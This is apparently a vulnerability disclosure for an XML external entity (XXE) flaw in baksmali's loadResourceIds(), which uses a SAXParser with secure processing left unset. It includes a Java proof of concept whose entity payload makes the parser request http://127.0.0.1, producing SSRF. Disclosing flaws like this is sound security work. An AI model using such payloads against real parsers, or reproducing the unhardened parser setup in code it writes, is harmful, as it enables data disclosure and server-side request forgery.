Description

The loadResourceIds() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In https://github.com/JesusFreke/smali/blob/cbd41d36ccde221ccc4ec2aa0c15ca2fa4491a62/baksmali/src/main/java/org/jf/baksmali/BaksmaliOptions.java#L87

        SAXParser saxp = SAXParserFactory.newInstance().newSAXParser();
                final String prefix = entry.getKey();
                saxp.parse(entry.getValue(), new DefaultHandler())

Proof of Concept

Extracted out the key function mentioned above to showcase how it can be exploited.

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;

import java.io.ByteArrayInputStream;

public class Poc {

    public static void main(String[] args) {        
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1/\">]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Causes an SSRF to http://127.0.0.1

Impact

This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.